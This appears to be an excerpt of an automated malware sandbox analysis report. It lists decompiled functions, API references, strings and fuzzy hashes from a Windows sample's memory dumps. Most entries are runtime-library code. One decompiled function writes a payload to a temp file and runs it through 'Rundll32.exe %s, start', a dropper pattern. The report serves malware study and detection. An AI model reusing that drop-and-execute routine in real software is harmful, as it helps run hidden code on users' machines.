Instruction Fuzzy Hash: 1EF015B4D80218EBEF24CFA0D54CBEEBBB0AB04709F1084A9E90163380C77A4A94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02112D78, Relevance: 4.5, APIs: 3, Instructions: 24
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02112D78() {
				void* _t17;

				if( *(_t17 - 4) != 0) {
					__imp__CryptDestroyHash( *(_t17 - 4));
					 *(_t17 - 4) = 0;
				}
				if( *(_t17 - 0xc) != 0) {
					CryptDestroyKey( *(_t17 - 0xc));
					 *(_t17 - 0xc) = 0;
				}
				if( *(_t17 - 8) != 0) {
					CryptReleaseContext( *(_t17 - 8), 0);
					 *(_t17 - 8) = 0;
				}
				return  *((intOrPtr*)(_t17 - 0x10));
			}

0x02112da4
0x02112daa
0x02112db0
0x02112db0
0x02112dbb
0x02112dc1
0x02112dc7
0x02112dc7
0x02112dd2
0x02112dda
0x02112de0
0x02112de0
0x02112ded

APIs

CryptDestroyHash.ADVAPI32(00000000), ref: 02112DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 02112DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02112DDA

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Destroy$ContextHashRelease
String ID:
API String ID: 3577760690-0
Opcode ID: 2a66c43fc1956f4c3948fc6cde5ddadeb739a1a27b68137b3b5380f978777d3d
Instruction ID: 1562469a56663ec0db3ed265ae1aab69b30a91daf332e02897b119b33571d422
Opcode Fuzzy Hash: 2a66c43fc1956f4c3948fc6cde5ddadeb739a1a27b68137b3b5380f978777d3d
Instruction Fuzzy Hash: 1EF015B4D80218EBEF24CFA0D54CBEEBBB0AB04709F1084A9E90163380C77A4A94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0213368A, Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 02133698
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0213369F

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 3341406909-0
Opcode ID: cf81ee386b4b9b67ee01b98b9c4ddaba202694e814d23de4eb6621459aa60ca2
Instruction ID: b1017c0285b47d7aaaa95ba80286aa694d9e9399f5d21735580f56148ab5b1f3
Opcode Fuzzy Hash: cf81ee386b4b9b67ee01b98b9c4ddaba202694e814d23de4eb6621459aa60ca2
Instruction Fuzzy Hash: 12C08C48CE83845FCF00D3B47C8C30B3E40BF02500F800888E0018B082CB6450988321

Uniqueness

Uniqueness Score: -1.00%

Function 0211F0C0, Relevance: 1.6, Strings: 1, Instructions: 400COMMON

Download Yara Rule

Strings

#, xrefs: 0211F51A

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 049ffb6b2bfb2db7e7d721b7ed60c37101b87306b171c38978a2c1341e986020
Instruction ID: e1776c7b1c27e3b60bdb87864135b2cab063bfd572e4f417cc5f4944089f496d
Opcode Fuzzy Hash: 049ffb6b2bfb2db7e7d721b7ed60c37101b87306b171c38978a2c1341e986020
Instruction Fuzzy Hash: CB125D78E41119CFCB18CFADD490AAEBBF2BB48304B25862AD41DA7344D730B995CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02132C68, Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 91f4aa458fb3320246f0b7ccab78af79ff0c8692c9f90e1aeb0b2b099e6dd66d
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 40D15E73D4A9B30A8737912D845823AEAA36FC1A5532FC3E19CE43F28E93375D5495E0

Uniqueness

Uniqueness Score: -1.00%

Function 02132848, Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: ff54b267d4d4b82b688b646c478a331c70f658a80fb4b3d8e1a710b216bb8647
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 1CD15E73D4A9B34A8737952D845822AEAA36FC1A5432FC3E1DCE43F28D93375D5486E0

Uniqueness

Uniqueness Score: -1.00%

Function 0213243C, Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 24873b6f181ce347c55b44ff8a8732fedb0f7390e1572e353063f777f8a685b4
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 47C14E73C4A9B30A8737912D846862AEE636FC1A5532FC3E19CD42F38E97375D4496E0

Uniqueness

Uniqueness Score: -1.00%

Function 02132068, Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 8591eeb7af48791616baf0c4c6749634a15c5fb45ba970d91a5b72966735606a
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 87C16D73D4A9B30A8736912D855862BEE636FC1A5432FC3A18CE42F28DD7379D4495E0

Uniqueness

Uniqueness Score: -1.00%

Function 0212B1F0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b870182e029b80a2313de4591be0674afc166591eaf24c84e063ea971e3fa94b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A8117B772C937143D244866DD4B87BFA3A5EBC512C72C4379F0414BB54C322B36C9600

Uniqueness

Uniqueness Score: -1.00%

Function 0214E08C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346419929.000000000214D000.00000040.00020000.sdmp, Offset: 0214D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: 60f0d87404098d62b8d87c87ee01652f02f07b90e0a016c1a5e60af0b05b966c
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: 4A1193733801009FD714DF55DC81EA6B3DAFB99630B298166ED18CB301DB76E842C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0214E485, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2346419929.000000000214D000.00000040.00020000.sdmp, Offset: 0214D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: 8038b7d83268f55495867b335fc1eee0e97a04588ea70caa7d10d4dd8b5ee464
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 2401C4323942408FD718CF18E898D79B7E4FBC9628B5E807EC54AC3A15D738E446CA20

Uniqueness

Uniqueness Score: -1.00%

Function 0212EE45, Relevance: 19.6, APIs: 13, Instructions: 109memorythreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(02147440,?,0212B61C), ref: 0212EE4B
__mtterm.LIBCMT ref: 0212EE57

Part of subcall function 0212EB2F: __decode_pointer.LIBCMT ref: 0212EB40
Part of subcall function 0212EB2F: TlsFree.KERNEL32(0214CF34,0212B6B8), ref: 0212EB5A

TlsAlloc.KERNEL32 ref: 0212EEE4
__init_pointers.LIBCMT ref: 0212EF09
__encode_pointer.LIBCMT ref: 0212EF14
__encode_pointer.LIBCMT ref: 0212EF24
__encode_pointer.LIBCMT ref: 0212EF34
__encode_pointer.LIBCMT ref: 0212EF44
__decode_pointer.LIBCMT ref: 0212EF65
__calloc_crt.LIBCMT ref: 0212EF7E
__decode_pointer.LIBCMT ref: 0212EF98
GetCurrentThreadId.KERNEL32 ref: 0212EFAE

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: __encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThread__calloc_crt__init_pointers__mtterm
String ID:
API String ID: 802150526-0
Opcode ID: a418f22f0ee8146837ad43fe32a51679db38c6198b6d1e83e9ff8fe39cb4a5c2
Instruction ID: 16d8d59b9b0e1f6d24d6318ffe76ff020a2999d12a384fa10e7b667619e1e4d7
Opcode Fuzzy Hash: a418f22f0ee8146837ad43fe32a51679db38c6198b6d1e83e9ff8fe39cb4a5c2
Instruction Fuzzy Hash: 74313071DC1261DEEF11ABB5AC08A177EE6AF44714F190E1AF8549A290EB34A0F9CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02133215, Relevance: 13.7, APIs: 9, Instructions: 165COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,02146C24,00000001,?,0000000C,0000000A,-0000009C,?,?,?,021333FB,00000001,?,00000000,?,?), ref: 02133242
GetLastError.KERNEL32(?,021333FB,00000001,?,00000000,?,?,?,?,00000000,?,00000001,00000000,00000000,00000008,0000000A), ref: 02133254
_malloc.LIBCMT ref: 021332EE
_memset.LIBCMT ref: 0213330E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 02133331
__freea.LIBCMT ref: 0213333B
___ansicp.LIBCMT ref: 02133365
___convertcp.LIBCMT ref: 02133386

Part of subcall function 02136651: _strlen.LIBCMT ref: 021366D1
Part of subcall function 02136651: _memset.LIBCMT ref: 02136749
Part of subcall function 02136651: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,021333FB), ref: 0213677B

GetStringTypeA.KERNEL32(?,?,?,?,?,0000000C,0000000A,-0000009C,?,?,?,021333FB,00000001,?,00000000,?), ref: 021333A6

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: StringType$_memset$ByteCharErrorLastMultiWide___ansicp___convertcp__freea_malloc_strlen
String ID:
API String ID: 3363058749-0
Opcode ID: 34b99e0b967e5a0d19f5c14daa52ea1bc0ce67855cdeeb753b24bb56f78d5357
Instruction ID: 4844a46d339d4ab515df856377125f29e3915a736e76c41c98094b1136aecfaa
Opcode Fuzzy Hash: 34b99e0b967e5a0d19f5c14daa52ea1bc0ce67855cdeeb753b24bb56f78d5357
Instruction Fuzzy Hash: 0251697198010AEFDF129F68DD809AF7BAAFB48358B108565F925D6250DB30D9A0CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 021289C1, Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 021289C8
std::_Lockit::_Lockit.LIBCPMT ref: 021289D2
int.LIBCPMTD ref: 021289E9

Part of subcall function 02124D30: std::_Lockit::_Lockit.LIBCPMT ref: 02124D46

std::locale::_Getfacet.LIBCPMTD ref: 021289F2
codecvt.LIBCPMT ref: 02128A09
__CxxThrowException@8.LIBCMT ref: 02128A2A
std::locale::facet::_Incref.LIBCPMTD ref: 02128A3A
std::locale::facet::facet_Register.LIBCPMT ref: 02128A40

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8GetfacetH_prolog3IncrefRegisterThrowcodecvtstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 3147950714-0
Opcode ID: 6d55653bc65718458850d15e3994a7cc61baf533d95e1a48fd03afab569b95ec
Instruction ID: 428e6c7c82c1715dfc90c7ec7695e6f05dafd1ccfd427a9432d8da0acee229c6
Opcode Fuzzy Hash: 6d55653bc65718458850d15e3994a7cc61baf533d95e1a48fd03afab569b95ec
Instruction Fuzzy Hash: 08019E319C02399BDF05EBA488906BEB336AF40320F660518F0217B1D0CF349A298FA0

Uniqueness

Uniqueness Score: -1.00%

Function 021287B4, Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 021287BB
std::_Lockit::_Lockit.LIBCPMT ref: 021287C5
int.LIBCPMTD ref: 021287DC

Part of subcall function 02124D30: std::_Lockit::_Lockit.LIBCPMT ref: 02124D46

std::locale::_Getfacet.LIBCPMTD ref: 021287E5
ctype.LIBCPMT ref: 021287FC
__CxxThrowException@8.LIBCMT ref: 0212881D
std::locale::facet::_Incref.LIBCPMTD ref: 0212882D
std::locale::facet::facet_Register.LIBCPMT ref: 02128833

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8GetfacetH_prolog3IncrefRegisterThrowctypestd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 120779050-0
Opcode ID: 1042414327e65a7ae688b47d21218e0518bc6ab41b58ffb639f2a41be6e67d83
Instruction ID: eb8a972d1822855bc20d3797ccbd3c0cb2d76fd7417e476a46ae6b3b608079bb
Opcode Fuzzy Hash: 1042414327e65a7ae688b47d21218e0518bc6ab41b58ffb639f2a41be6e67d83
Instruction Fuzzy Hash: 4A0180719C02359BDF05EBA488406BEB336AF40321F660119F0217B1D0DF389A298FA1

Uniqueness

Uniqueness Score: -1.00%

Function 02123850, Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 021238B2

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 8629cc6b4a9bbee9b2073de68f4247bada64b176287ce7d80bfde1266add672d
Instruction ID: 8b3f727394df533a7cd596523e5581d3315d71b9eda2c6ca2e8b7e5c8a62f9aa
Opcode Fuzzy Hash: 8629cc6b4a9bbee9b2073de68f4247bada64b176287ce7d80bfde1266add672d
Instruction Fuzzy Hash: E6414C71980268DFEB18DF90CC45FADF776AF05310F1486DAA42A7B290DB346A59CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02126760, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 296COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 02126792

Part of subcall function 02123420: std::locale::locale.LIBCPMTD ref: 0212343A

Part of subcall function 02127090: std::_Lockit::_Lockit.LIBCPMT ref: 021270BA
Part of subcall function 02127090: int.LIBCPMTD ref: 021270D3
Part of subcall function 02127090: std::locale::_Getfacet.LIBCPMTD ref: 021270E2

Part of subcall function 02123370: std::locale::facet::_Decref.LIBCPMTD ref: 02123386

numpunct.LIBCPMTD ref: 021267CC
_memmove_s.LIBCMT ref: 021268DD
std::ios_base::width.LIBCPMTD ref: 02126AAA

Strings

@, xrefs: 0212695F

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: DecrefGetfacetLockitLockit::__memmove_snumpunctstd::_std::ios_base::getlocstd::ios_base::widthstd::locale::_std::locale::facet::_std::locale::locale
String ID: @
API String ID: 4022936084-2766056989
Opcode ID: 00d0d9d17b8fa1a66f4d5d1fe85aa150617b0e7bfccd6e0fa05a25326d1e481b
Instruction ID: 6a0bb915253a949232c56b9d553ec9ad2af0418ad02d0bbbe53d54cf6dce4fbe
Opcode Fuzzy Hash: 00d0d9d17b8fa1a66f4d5d1fe85aa150617b0e7bfccd6e0fa05a25326d1e481b
Instruction Fuzzy Hash: 57D12BB4900259CFCB08DF58D990AEEBBF6BF48304F148299F819A7390DB34A955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02127090, Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 021270BA
int.LIBCPMTD ref: 021270D3

Part of subcall function 02124D30: std::_Lockit::_Lockit.LIBCPMT ref: 02124D46

std::locale::_Getfacet.LIBCPMTD ref: 021270E2

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Getfacetstd::locale::_
String ID:
API String ID: 3702371321-0
Opcode ID: 2139e7aea1c219d9544688fb61826a1c6d43000dd0cb46da6da51859b6828ad7
Instruction ID: 3acc4b1a6de0cd2739b268fc31a0a756975171c34b571e63e9d5b34eb40a1f32
Opcode Fuzzy Hash: 2139e7aea1c219d9544688fb61826a1c6d43000dd0cb46da6da51859b6828ad7
Instruction Fuzzy Hash: 4621FCB5D80229DFDB08DFA4D850AAFF7B5FF48310F104629E425A7290DB34595ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 02124C40, Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 02124C6A
int.LIBCPMTD ref: 02124C83

Part of subcall function 02124D30: std::_Lockit::_Lockit.LIBCPMT ref: 02124D46

std::locale::_Getfacet.LIBCPMTD ref: 02124C92

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Getfacetstd::locale::_
String ID:
API String ID: 3702371321-0
Opcode ID: 180e4113586e67f3ac03a418cdc7bb1b67bd1bc3528f5730ad612c3476bad011
Instruction ID: 797c3b9497144a8982f98eaba42576dde010adbb9eba7577a6562de1dc1377e7
Opcode Fuzzy Hash: 180e4113586e67f3ac03a418cdc7bb1b67bd1bc3528f5730ad612c3476bad011
Instruction Fuzzy Hash: 3221F9B1D8022DDFDB04DFA8D841AAEB7B5FF48314F10462AE526A7290DB345959CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02129966, Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 02129984

Part of subcall function 0212F296: __mtinitlocknum.LIBCMT ref: 0212F2AA
Part of subcall function 0212F296: __amsg_exit.LIBCMT ref: 0212F2B6
Part of subcall function 0212F296: RtlEnterCriticalSection.NTDLL(?), ref: 0212F2BE

___sbh_find_block.LIBCMT ref: 0212998F
___sbh_free_block.LIBCMT ref: 0212999E
HeapFree.KERNEL32(00000000,?,02149F68), ref: 021299CE
GetLastError.KERNEL32(?,02136ADD,00000004,0214A510,0000000C,0212E128,00000000,00000000,00000000,00000000,00000000,0212EC55,00000001,00000214), ref: 021299DF

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: c405c4e7da0dce4f7e61c7aaf54bc4643e13c8bd532969de717e0b07fe62139f
Instruction ID: 86a8fac3628d2726388040990432501235381d7e6e19db9d36f602a26a862bcb
Opcode Fuzzy Hash: c405c4e7da0dce4f7e61c7aaf54bc4643e13c8bd532969de717e0b07fe62139f
Instruction Fuzzy Hash: C0018F318C4361AEEF206FB4AC0975E3AB6AF01764F300109F408AA180DB7485AA8F91

Uniqueness

Uniqueness Score: -1.00%

Function 02125AD0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 02125C99

Strings

$, xrefs: 02125B34
$, xrefs: 02125B2E
l, xrefs: 02125AE9

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: _swprintf
String ID: $$$$l
API String ID: 589789837-1469801561
Opcode ID: 489c3167a63b67b59ae562128f7c8af6c803de7737409504be28c74aa948497e
Instruction ID: 8d0fac5a070e41e5bdd745da7800ad446575757f21ca3087f5d337c7f73e6fc7
Opcode Fuzzy Hash: 489c3167a63b67b59ae562128f7c8af6c803de7737409504be28c74aa948497e
Instruction Fuzzy Hash: A66150B094026CEFDF18CF54D994BEEBBB6FB49304F408198E58966240DB349AA8CF45

Uniqueness

Uniqueness Score: -1.00%

Function 02125880, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 02125A49

Strings

$, xrefs: 021258DE
l, xrefs: 02125899
$, xrefs: 021258E4

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: _swprintf
String ID: $$$$l
API String ID: 589789837-1469801561
Opcode ID: d3aa38c779025c964142f2d1f9dad9e4a7e093dc3a508def91cd300729ab0924
Instruction ID: 3f4d04a234468e49f4b0f7510d69fd5a70114f309217aafeced418112bf0ba52
Opcode Fuzzy Hash: d3aa38c779025c964142f2d1f9dad9e4a7e093dc3a508def91cd300729ab0924
Instruction Fuzzy Hash: A6614F70D40269EFDF18DF54D994BEEBBB6FF48304F418199E98866240CB349AA8CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02113B30, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E02113B30(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v264;
				char _v524;
				char _v784;

				GetTempPathA(0x104,  &_v524);
				GetTempFileNameA( &_v524, "BN", 0,  &_v264);
				if(E02113AC0(_a4,  &_v264, _a4, _a8) != 1) {
					return 0;
				}
				_push(_a8);
				if(E021133C0(_a4) != 1) {
					return E021136C0( &_v264);
				}
				wsprintfA( &_v784, "Rundll32.exe %s, start",  &_v264);
				return E021136C0( &_v784);
			}

0x02113b45
0x02113b60
0x02113b80
0x00000000
0x02113bd7
0x02113b85
0x02113b95
0x00000000
0x02113bd2
0x02113baa
0x00000000

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 02113B45
GetTempFileNameA.KERNEL32(?,021142C0,00000000,?), ref: 02113B60

Part of subcall function 02113AC0: CreateFileA.KERNEL32(02111691,40000000,00000000,00000000,00000002,00000080,00000000), ref: 02113AE6
Part of subcall function 02113AC0: WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02113B07
Part of subcall function 02113AC0: CloseHandle.KERNEL32(000000FF), ref: 02113B11

wsprintfA.USER32 ref: 02113BAA

Part of subcall function 021136C0: CreateProcessA.KERNEL32(00000000,02113BD2,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 021136F7

Strings

Rundll32.exe %s, start, xrefs: 02113B9E

Memory Dump Source

Source File: 00000003.00000002.2346314863.0000000002111000.00000020.00020000.sdmp, Offset: 02110000, based on PE: true

Associated: 00000003.00000002.2346293618.0000000002110000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2346348308.0000000002115000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.2346357529.0000000002118000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CreateTemp$CloseHandleNamePathProcessWritewsprintf
String ID: Rundll32.exe %s, start
API String ID: 130250823-2967502992
Opcode ID: ed6c5291633acf4ce1bc7fda0114838b85efc3576797f2a7191ea62c4aca0664
Instruction ID: 9323e2e0a19c2a0b5ca83b2b3642c98aa1f64895e6786108dc026ba2ce7b37b6
Opcode Fuzzy Hash: ed6c5291633acf4ce1bc7fda0114838b85efc3576797f2a7191ea62c4aca0664
Instruction Fuzzy Hash: 9311A9F9D401186BD724DB90ED85EEE737D9B44704F0046E4EA1A82144E771E7988F92

Uniqueness

Uniqueness Score: -1.00%

Function 02125330, Relevance: 6.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 021253BF
numpunct.LIBCPMTD ref: 0212541C

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: numpunctstd::ios_base::getloc
String ID:
API String ID: 1901892925-0
Opcode ID: 094a421500fd2dc04167d1883022ed2ffc63ebc3b8793486c28f3c9cf42b7432
Instruction ID: b62e969486ccbbb98e02d9d7881f3b405c181212218399b960c454fa55ad1017
Opcode Fuzzy Hash: 094a421500fd2dc04167d1883022ed2ffc63ebc3b8793486c28f3c9cf42b7432
Instruction Fuzzy Hash: 82912FB5900259DFCB18DF68D991B9EBBB6BF48300F508199F819A7391DB309E58CF90

Uniqueness

Uniqueness Score: -1.00%

Function 021393D3, Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02139403
__isleadbyte_l.LIBCMT ref: 02139437
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,?,?,?,0213563C,?,?,00000002), ref: 02139468
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,?,?,?,0213563C,?,?,00000002), ref: 021394D6

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f0b4e63bf3c6ff3b67409d6c9476e6193e614631e849b515797e145e2a116e0d
Instruction ID: c6cd15d18fb4b458820d4af1768ffe8fb71b81c162f823a036b7e80d8fa11dd2
Opcode Fuzzy Hash: f0b4e63bf3c6ff3b67409d6c9476e6193e614631e849b515797e145e2a116e0d
Instruction Fuzzy Hash: 4531E371A80255EFDB22DF68C980AAE7BB7FF01224F0585A9E4A18B191D370D954CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02125100, Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0212512D
std::runtime_error::runtime_error.LIBCPMTD ref: 02125193
__CxxThrowException@8.LIBCMT ref: 021251A1

Part of subcall function 0212AE78: RaiseException.KERNEL32(?,?,0212B0FA,02124ED3,?,?,?,?,0212B0FA,02124ED3,021498F8,021EA3F4), ref: 0212AEB8

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 021251BA

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: std::_$ExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrowstd::runtime_error::runtime_error
String ID:
API String ID: 728556777-0
Opcode ID: 54fba18cd4bd3f6caeca1f4f45007d5e1405ffad3c6995172f1f7d1c2fe95261
Instruction ID: dfe32373887a38e1ea91ef227b174244297529fa31ace58ef6262ef5a0c33f38
Opcode Fuzzy Hash: 54fba18cd4bd3f6caeca1f4f45007d5e1405ffad3c6995172f1f7d1c2fe95261
Instruction Fuzzy Hash: 73218370941258EFDB04EBD8CA50BEEBBB6AF05304F608159E4126B284DB785F1CCB91

Uniqueness

Uniqueness Score: -1.00%

Function 021343D4, Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 021343F8

Part of subcall function 02134223: __fltout2.LIBCMT ref: 0213424D

__cftog_l.LIBCMT ref: 0213441E
__cftoe_l.LIBCMT ref: 02134450

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
